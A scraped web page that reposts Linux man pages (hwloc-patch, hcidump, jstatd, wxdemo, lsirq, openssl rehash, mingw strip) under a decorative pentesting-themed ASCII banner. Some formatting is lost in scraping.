When this flag is set, llvm-ifs will only write the output file if it does not already exist or the content will be different from the existing file.

–strip-size
When this flag is set, llvm-ifs will remove the size field from the output ifs file. This is useful for shared objects that only intend to be linked against position independent code which doesn’t need copy relocations, or where the size of an object is not a useful part of the abi to track.

EXIT STATUS

If llvm-ifs succeeds, it will exit with 0. Otherwise, if an error occurs, it will exit with a non-zero value.

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1181 - Linux cli command hwloc-patch

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command hwloc-patch and provides detailed information about the command hwloc-patch, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the hwloc-patch.

NAME 🖥️ hwloc-patch 🖥️

patch - Apply a topology difference to an existing XML topology

SYNOPSIS

hwloc-patch [options] [<topology.xml> | refname] [<diff.xml> | -] <output.xml>

hwloc-patch [options] [<topology.xml> | refname] [<diff.xml> | -]

OPTIONS

-R –reverse
Reverse the sense the difference file.

–version
Report version and exit.

-h –help
Display help message and exit.

DESCRIPTION

hwloc-patch loads the difference between two topologies from a XML file (or from the standard input) and applies it to an existing topology, generating a new, modified one.

The XML difference may have been computed earlier with hwloc-diff or hwloc-compress-dir.

If <output.xml> is given, the new, modified topology is stored in that new file. Otherwise, <topology.xml> is modified in place.

If refname is given instead of <topology.xml>, the input topology filename is automatically guessed by reading the refname field of the XML diff file. By default hwloc-diff generates XML diffs with the right reference topology filename (without any path prefix).

If - is given instead of <diff.xml>, the topology difference is read from the standard input.

NOTE: If some application-specific userdata were been exported to the input XMLs, they will be ignored and discarded from the output because hwloc has no way to understand and patch them.

NOTE: It is highly recommended that you read the hwloc(7) overview page before reading this man page. Most of the concepts described in hwloc(7) directly apply to the hwloc-patch utility.

EXAMPLES

hwloc-patch’s operation is best described through several examples.

Apply a XML topology difference file to an existing topology:

$ hwloc-patch fourmi023.xml diff.xml fourmi023-new.xml

Apply a XML topology difference file whole refname field contains the right input topology:

$ hwloc-patch refname diff.xml fourmi023-new.xml

Apply a XML topology from the standard intput:

$ cat diff.xml | hwloc-patch fourmi023.xml - fourmi023-new.xml

Directly compute the difference between two topologies and apply it to another one, in place:

$ hwloc-diff fourmi023.xml fourmi024.xml | hwloc-patch fourmi025.xml -

RETURN VALUE

Upon successful execution, hwloc-patch outputs the modified topology. The return value is 0.

hwloc-patch also returns nonzero if any kind of error occurs, such as (but not limited to) failure to parse the command line.

SEE ALSO

hwloc(7), lstopo(1), hwloc-diff(1), hwloc-compress-dir(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1182 - Linux cli command hcidump

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command hcidump and provides detailed information about the command hcidump, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the hcidump.

NAME 🖥️ hcidump 🖥️

Parse HCI data

SYNOPSIS

hcidump -h

hcidump [OPTIONS …] [FILTERS]

DESCRIPTION

hcidump(1) reads raw HCI data coming from and going to a Bluetooth device (which can be specified with the option -i, default is the first available one) and prints to screen commands, events and data in a human-readable form. Optionally, the dump can be written to a file rather than parsed, and the dump file can be parsed in a subsequent moment.

OPTIONS

-i* <hciX>*
Data is read from hciX, which must be the name of an installed Bluetooth device. If not specified, and if -r option is not set, data is read from the first available Bluetooth device.

-l* <len>,*** –snap-len**=*<len>*
Sets max length of processed packets to len
.

-p* <psm>,*** –psm**=*<psm>*
Sets default Protocol Service Multiplexer to psm
.

-m* <compid>,*** –manufacturer**=*<compid>*
Sets default company id for manufacturer to compid
.

-w* <file>,*** –save-dump**=*<file>*
Parse output is not printed to screen, instead data read from device is saved in file
. The saved dump file can be subsequently parsed with
option -r.

-r* <file>,*** –read-dump**=*<file>*
Data is not read from a Bluetooth device, but from file
.
file is created with option -t, –timestamp prepend a time stamp to every packet.

-a,** –ascii**
For every packet, not only is the packet type displayed, but also all data in ASCII.

-x,** –hex**
For every packet, not only is the packet type displayed, but also all data in hex.

-X,** –ext**
For every packet, not only is the packet type displayed, but also all data in hex and ASCII.

-R,** –raw**
For every packet, only the raw data is displayed.

-C* <psm>,*** –cmtp**=*****<psm>*
Sets the PSM value for the CAPI Message Transport Protocol.

-H* <psm>,*** –hcrp**=*****<psm>*
Sets the PSM value for the Hardcopy Control Channel.

-O* <channel>,*** –obex**=*****<channel>*
Sets the RFCOMM channel value for the Object Exchange Protocol.

-P* <channel>,*** –ppp**=*****<channel>*
Sets the RFCOMM channel value for the Point-to-Point Protocol.

-D* <file>,*** –pppdump**=*****<file>*
Extract PPP traffic with pppdump format.

-A* <file>,*** –audio**=*****<file>*
Extract SCO audio data.

-Y,** –novendor**
Don’t display any vendor commands or events and don’t show any pin code or link key in plain text.

-h
Prints usage info and exits

FILTERS

filter is a space-separated list of packet categories: available categories are lmp**,** hci**,** sco**,** l2cap**,** rfcomm**,** sdp**,** bnep**,** cmtp**,** hidp**,** hcrp**,** avdtp**,** avctp**,** obex**,** capi and ppp**. If filters are used, only packets** belonging to the specified categories are dumped. By default, all packets are dumped.

RESOURCES

http://www.bluez.org

REPORTING BUGS

[email protected]

AUTHOR

Maxim Krasnyansky <[email protected]>, Marcel Holtmann <[email protected]>, Fabrizio Gennari <[email protected]>

COPYRIGHT

Free use of this software is granted under ther terms of the GNU Lesser General Public Licenses (LGPL).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1183 - Linux cli command jstatd

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command jstatd and provides detailed information about the command jstatd, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the jstatd.

NAME 🖥️ jstatd 🖥️

monitor the creation and termination of instrumented Java HotSpot VMs

SYNOPSIS

Note: This command is experimental and unsupported.

jstatd [options]

options
This represents the jstatd command-line options. See Options for the jstatd Command.

DESCRIPTION

The jstatd command is an RMI server application that monitors for the creation and termination of instrumented Java HotSpot VMs and provides an interface to enable remote monitoring tools, jstat and jps, to attach to JVMs that are running on the local host and collect information about the JVM process.

The jstatd server requires an RMI registry on the local host. The jstatd server attempts to attach to the RMI registry on the default port, or on the port you specify with the -p port option. If an RMI registry is not found, then one is created within the jstatd application that’s bound to the port that’s indicated by the -p port option or to the default RMI registry port when the -p port option is omitted. You can stop the creation of an internal RMI registry by specifying the -nr option.

OPTIONS FOR THE JSTATD COMMAND

-nr
This option does not attempt to create an internal RMI registry within the jstatd process when an existing RMI registry isn’t found.

-p port
This option sets the port number where the RMI registry is expected to be found, or when not found, created if the -nr option isn’t specified.

-r rmiport
This option sets the port number to which the RMI connector is bound. If not specified a random available port is used.

-n rminame
This option sets the name to which the remote RMI object is bound in the RMI registry. The default name is JStatRemoteHost. If multiple jstatd servers are started on the same host, then the name of the exported RMI object for each server can be made unique by specifying this option. However, doing so requires that the unique server name be included in the monitoring client’s hostid and vmid strings.

****-Joption
This option passes a Java option to the JVM, where the option is one of those described on the reference page for the Java application launcher. For example, -J-Xms48m sets the startup memory to 48 MB. See java.

SECURITY

The jstatd server can monitor only JVMs for which it has the appropriate native access permissions. Therefore, the jstatd process must be running with the same user credentials as the target JVMs. Some user credentials, such as the root user in Linux and OS X operating systems, have permission to access the instrumentation exported by any JVM on the system. A jstatd process running with such credentials can monitor any JVM on the system, but introduces additional security concerns.

The jstatd server doesn’t provide any authentication of remote clients. Therefore, running a jstatd server process exposes the instrumentation export by all JVMs for which the jstatd process has access permissions to any user on the network. This exposure might be undesirable in your environment, and therefore, local security policies should be considered before you start the jstatd process, particularly in production environments or on networks that aren’t secure.

The jstatd server installs an instance of RMISecurityPolicy when no other security manager is installed, and therefore, requires a security policy file to be specified. The policy file must conform to Default Policy Implementation and Policy File Syntax.

If your security concerns can’t be addressed with a customized policy file, then the safest action is to not run the jstatd server and use the jstat and jps tools locally. However, when using jps to get a list of instrumented JVMs, the list will not include any JVMs running in docker containers.

REMOTE INTERFACE

The interface exported by the jstatd process is proprietary and guaranteed to change. Users and developers are discouraged from writing to this interface.

EXAMPLES

The following are examples of the jstatd command. The jstatd scripts automatically start the server in the background.

INTERNAL RMI REGISTRY

This example shows how to start a jstatd session with an internal RMI registry. This example assumes that no other server is bound to the default RMI registry port (port 1099).

jstatd -J-Djava.security.policy=all.policy

EXTERNAL RMI REGISTRY

This example starts a jstatd session with an external RMI registry.

rmiregistry&
jstatd -J-Djava.security.policy=all.policy

This example starts a jstatd session with an external RMI registry server on port 2020.

jrmiregistry 2020&
jstatd -J-Djava.security.policy=all.policy -p 2020

This example starts a jstatd session with an external RMI registry server on port 2020 and JMX connector bound to port 2021.

jrmiregistry 2020&
jstatd -J-Djava.security.policy=all.policy -p 2020 -r 2021

This example starts a jstatd session with an external RMI registry on port 2020 that’s bound to AlternateJstatdServerName.

rmiregistry 2020&
jstatd -J-Djava.security.policy=all.policy -p 2020 -n AlternateJstatdServerName

STOP THE CREATION OF AN IN-PROCESS RMI REGISTRY

This example starts a jstatd session that doesn’t create an RMI registry when one isn’t found. This example assumes an RMI registry is already running. If an RMI registry isn’t running, then an error message is displayed.

jstatd -J-Djava.security.policy=all.policy -nr

ENABLE RMI LOGGING

This example starts a jstatd session with RMI logging capabilities enabled. This technique is useful as a troubleshooting aid or for monitoring server activities.

jstatd -J-Djava.security.policy=all.policy -J-Djava.rmi.server.logCalls=true

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1184 - Linux cli command wxdemo

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command wxdemo and provides detailed information about the command wxdemo, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the wxdemo.

NAME 🖥️ wxdemo 🖥️

wxPython tools.
img2png - wxPython tools.
img2py - wxPython tools.
img2xpm - wxPython tools.
pycrust - wxPython tools.
pyshell - wxPython tools.
pyslices - wxPython tools.
pyslicesshell - wxPython tools.
pywxrc - wxPython tools.
wxdemo - wxPython tools.
wxdocs - wxPython tools.
wxget - wxPython tools.

DESCRIPTION

The real documentation for these tools is available in pydoc format.

For example:

pydoc3 wx.tools.img2xpm

SEE ALSO

pydoc3(1)

COPYRIGHT

This manpage was written by Ron Lee <[email protected]> for the Debian GNU/Linux distribution of wxWidgets. It may be freely distributed by anyone insane enough to find it useful.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1185 - Linux cli command lsirq

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command lsirq and provides detailed information about the command lsirq, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the lsirq.

NAME 🖥️ lsirq 🖥️

utility to display kernel interrupt information

SYNOPSIS

lsirq [options]

DESCRIPTION

Display kernel interrupt counter information.

The default output is subject to change. So whenever possible, you should avoid using default outputs in your scripts. Always explicitly define expected columns by using –output.

OPTIONS

-n, –noheadings

Don’t print headings.

-o, –output list

Specify which output columns to print. Use –help to get a list of all supported columns. The default list of columns may be extended if list is specified in the format +list.

-s, –sort column

Specify sort criteria by column name. See –help output to get column names.

-J, –json

Use JSON output format.

-P, –pairs

Produce output in the form of key=“value” pairs. All potentially unsafe characters are hex-escaped (\x<code>).

-S, –softirq

Show softirqs information.

-h, –help

Display help text and exit.

-V, –version

Print version and exit.

AUTHORS

REPORTING BUGS

For bug reports, use the issue tracker at <https://github.com/util-linux/util-linux/issues>.

AVAILABILITY

The lsirq command is part of the util-linux package which can be downloaded from Linux Kernel Archive <https://www.kernel.org/pub/linux/utils/util-linux/>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1186 - Linux cli command openssl-rehashssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openssl-rehashssl and provides detailed information about the command openssl-rehashssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openssl-rehashssl.

NAME 🖥️ openssl-rehashssl 🖥️

rehash, c_rehash - Create symbolic links to files named by the hash values

SYNOPSIS

openssl rehash [-h] [-help] [-old] [-compat] [-n] [-v] [-provider name] [-provider-path path] [-propquery propq] [directory] …

c_rehash [-h] [-help] [-old] [-n] [-v] [-provider name] [-provider-path path] [-propquery propq] [directory] …

DESCRIPTION

This command is generally equivalent to the external script c_rehash, except for minor differences noted below.

openssl rehash scans directories and calculates a hash value of each .pem, .crt, .cer, or .crl file in the specified directory list and creates symbolic links for each file, where the name of the link is the hash value. (If the platform does not support symbolic links, a copy is made.) This command is useful as many programs that use OpenSSL require directories to be set up like this in order to find certificates.

If any directories are named on the command line, then those are processed in turn. If not, then the SSL_CERT_DIR environment variable is consulted; this should be a colon-separated list of directories, like the Unix PATH variable. If that is not set then the default directory (installation-specific but often /usr/local/ssl/certs) is processed.

In order for a directory to be processed, the user must have write permissions on that directory, otherwise an error will be generated.

The links created are of the form HHHHHHHH.D, where each H is a hexadecimal character and D is a single decimal digit. When a directory is processed, all links in it that have a name in that syntax are first removed, even if they are being used for some other purpose. To skip the removal step, use the -n flag. Hashes for CRL’s look similar except the letter r appears after the period, like this: HHHHHHHH.rD.

Multiple objects may have the same hash; they will be indicated by incrementing the D value. Duplicates are found by comparing the full SHA-1 fingerprint. A warning will be displayed if a duplicate is found.

A warning will also be displayed if there are files that cannot be parsed as either a certificate or a CRL or if more than one such object appears in the file.

Script Configuration

The c_rehash script uses the openssl program to compute the hashes and fingerprints. If not found in the user’s PATH, then set the OPENSSL environment variable to the full pathname. Any program can be used, it will be invoked as follows for either a certificate or CRL:

$OPENSSL x509 -hash -fingerprint -noout -in FILENAME $OPENSSL crl -hash -fingerprint -noout -in FILENAME

where FILENAME is the filename. It must output the hash of the file on the first line, and the fingerprint on the second, optionally prefixed with some text and an equals sign.

OPTIONS

-help -h
Display a brief usage message.

-old
Use old-style hashing (MD5, as opposed to SHA-1) for generating links to be used for releases before 1.0.0. Note that current versions will not use the old style.

-n
Do not remove existing links. This is needed when keeping new and old-style links in the same directory.

-compat
Generate links for both old-style (MD5) and new-style (SHA1) hashing. This allows releases before 1.0.0 to use these links along-side newer releases.

-v
Print messages about old links removed and new links created. By default, this command only lists each directory as it is processed.

-provider name

-provider-path path

-propquery propq

See “Provider Options” in openssl (1), provider (7), and property (7).

ENVIRONMENT

OPENSSL
The path to an executable to use to generate hashes and fingerprints (see above).

SSL_CERT_DIR
Colon separated list of directories to operate on. Ignored if directories are listed on the command line.

SEE ALSO

openssl (1), openssl-crl (1), openssl-x509 (1)

COPYRIGHT

Copyright 2015-2020 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1187 - Linux cli command x86_64-w64-mingw32ucrt-strip

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-w64-mingw32ucrt-strip and provides detailed information about the command x86_64-w64-mingw32ucrt-strip, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-w64-mingw32ucrt-strip.

NAME 🖥️ x86_64-w64-mingw32ucrt-strip 🖥️

discard symbols and other data from object files

SYNOPSIS

strip [-F bfdname |–target=bfdname] [-I bfdname |–input-target=bfdname] [-O bfdname |–output-target=bfdname] [-s|–strip-all] [-S|-g|-d|–strip-debug] [–strip-dwo] [-K symbolname|–keep-symbol=symbolname] [-M|–merge-notes][–no-merge-notes] [-N symbolname |–strip-symbol=symbolname] [-w|–wildcard] [-x|–discard-all] [-X |–discard-locals] [-R sectionname |–remove-section=sectionname] [–keep-section=sectionpattern] [–remove-relocations=sectionpattern] [–strip-section-headers] [-o file] [-p|–preserve-dates] [-D|–enable-deterministic-archives] [-U|–disable-deterministic-archives] [–keep-section-symbols] [–keep-file-symbols] [–only-keep-debug] [-v |–verbose] [-V|–version] [–help] [–info] objfile

DESCRIPTION

GNU strip discards all symbols from object files objfile. The list of object files may include archives. At least one object file must be given.

strip modifies the files named in its argument, rather than writing modified copies under different names.

OPTIONS

-F bfdname

–target=bfdname

Treat the original objfile as a file with the object code format bfdname, and rewrite it in the same format.

–help
Show a summary of the options to strip and exit.

–info
Display a list showing all architectures and object formats available.

-I bfdname

–input-target=bfdname

Treat the original objfile as a file with the object code format bfdname.

-O bfdname

–output-target=bfdname

Replace objfile with a file in the output format bfdname.

-R sectionname

–remove-section=sectionname

Remove any section named sectionname from the output file, in addition to whatever sections would otherwise be removed. This option may be given more than once. Note that using this option inappropriately may make the output file unusable. The wildcard character * may be given at the end of sectionname. If so, then any section starting with sectionname will be removed. If the first character of sectionpattern is the exclamation point (!) then matching sections will not be removed even if an earlier use of –remove-section on the same command line would otherwise remove it. For example: –remove-section=.text.* –remove-section=!.text.foo will remove all sections matching the pattern ‘.text.*’, but will not remove the section ‘.text.foo’.

–keep-section=sectionpattern
When removing sections from the output file, keep sections that match sectionpattern.

–remove-relocations=sectionpattern
Remove relocations from the output file for any section matching sectionpattern. This option may be given more than once. Note that using this option inappropriately may make the output file unusable. Wildcard characters are accepted in sectionpattern. For example: –remove-relocations=.text.* will remove the relocations for all sections matching the patter ‘.text.*’. If the first character of sectionpattern is the exclamation point (!) then matching sections will not have their relocation removed even if an earlier use of –remove-relocations on the same command line would otherwise cause the relocations to be removed. For example: –remove-relocations=.text.* –remove-relocations=!.text.foo will remove all relocations for sections matching the pattern ‘.text.*’, but will not remove relocations for the section ‘.text.foo’.

–strip-section-headers
Strip section headers. This option is specific to ELF files. Implies –strip-all and –merge-notes.

-s

–strip-all

Remove all symbols.

-g

-S

-d

–strip-debug

Remove debugging symbols only.

–strip-dwo
Remove the contents of all DWARF .dwo sections, leaving the remaining debugging sections and all symbols intact. See the description of this option in the objcopy section for more information.

–strip-unneeded
Remove all symbols that are not needed for relocation processing in addition to debugging symbols and sections stripped by –strip-debug.

-K symbolname

–keep-symbol=symbolname

When stripping symbols, keep symbol symbolname even if it would normally be stripped. This option may be given more than once.

-M

–merge-notes

–no-merge-notes

For ELF files, attempt (or do not attempt) to reduce the size of any SHT_NOTE type sections by removing duplicate notes. The default is to attempt this reduction unless stripping debug or DWO information.

-N symbolname

–strip-symbol=symbolname

Remove symbol symbolname from the source file. This option may be given more than once, and may be combined with strip options other than -K.

-o file
Put the stripped output in file, rather than replacing the existing file. When this argument is used, only one objfile argument may be specified.

-p

–preserve-dates

Preserve the access and modification dates of the file.

-D

–enable-deterministic-archives

Operate in deterministic mode. When copying archive members and writing the archive index, use zero for UIDs, GIDs, timestamps, and use consistent file modes for all files. If binutils was configured with –enable-deterministic-archives, then this mode is on by default. It can be disabled with the -U option, below.

-U

–disable-deterministic-archives

Do not operate in deterministic mode. This is the inverse of the -D option, above: when copying archive members and writing the archive index, use their actual UID, GID, timestamp, and file mode values. This is the default unless binutils was configured with –enable-deterministic-archives.

-w

–wildcard

Permit regular expressions in symbolnames used in other command line options. The question mark (?), asterisk (*), backslash (\ and square brackets ([]) operators can be used anywhere in the symbol name. If the first character of the symbol name is the exclamation point (!) then the sense of the switch is reversed for that symbol. For example: -w -K !foo -K fo* would cause strip to only keep symbols that start with the letters “fo”, but to discard the symbol “foo”.

-x

–discard-all

Remove non-global symbols.

-X

–discard-locals

Remove compiler-generated local symbols. (These usually start with L or ..)

–keep-section-symbols
When stripping a file, perhaps with –strip-debug or –strip-unneeded, retain any symbols specifying section names, which would otherwise get stripped.

–keep-file-symbols
When stripping a file, perhaps with –strip-debug or –strip-unneeded, retain any symbols specifying source file names, which would otherwise get stripped.

–only-keep-debug
Strip a file, emptying the contents of any sections that would not be stripped by –strip-debug and leaving the debugging sections intact. In ELF files, this preserves all the note sections in the output as well. Note - the section headers of the stripped sections are preserved, including their sizes, but the contents of the section are discarded. The section headers are preserved so that other tools can match up the debuginfo file with the real executable, even if that executable has been relocated to a different address space. The intention is that this option will be used in conjunction with –add-gnu-debuglink to create a two part executable. One a stripped binary which will occupy less space in RAM and in a distribution and the second a debugging information file which is only needed if debugging abilities are required. The suggested procedure to create these files is as follows:

  1. foo then…

  2. create a file containing the debugging info.

  3. stripped executable.

  4. to add a link to the debugging info into the stripped executable.

Note—the choice of .dbg as an extension for the debug info file is arbitrary. Also the --only-keep-debug step is optional. You could instead do this:

i.e., the file pointed to by the –add-gnu-debuglink can be the full executable. It does not have to be a file created by the –only-keep-debug switch. Note—this switch is only intended for use on fully linked files. It does not make sense to use it on object files where the debugging information may be incomplete. Besides the gnu_debuglink feature currently only supports the presence of one filename containing debugging information, not multiple filenames on a one-per-object-file basis.

-V

–version

Show the version number for strip.

-v

–verbose

Verbose output: list all object files modified. In the case of archives, strip -v lists all members of the archive.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

the Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1188 - Linux cli command zeisstopnm

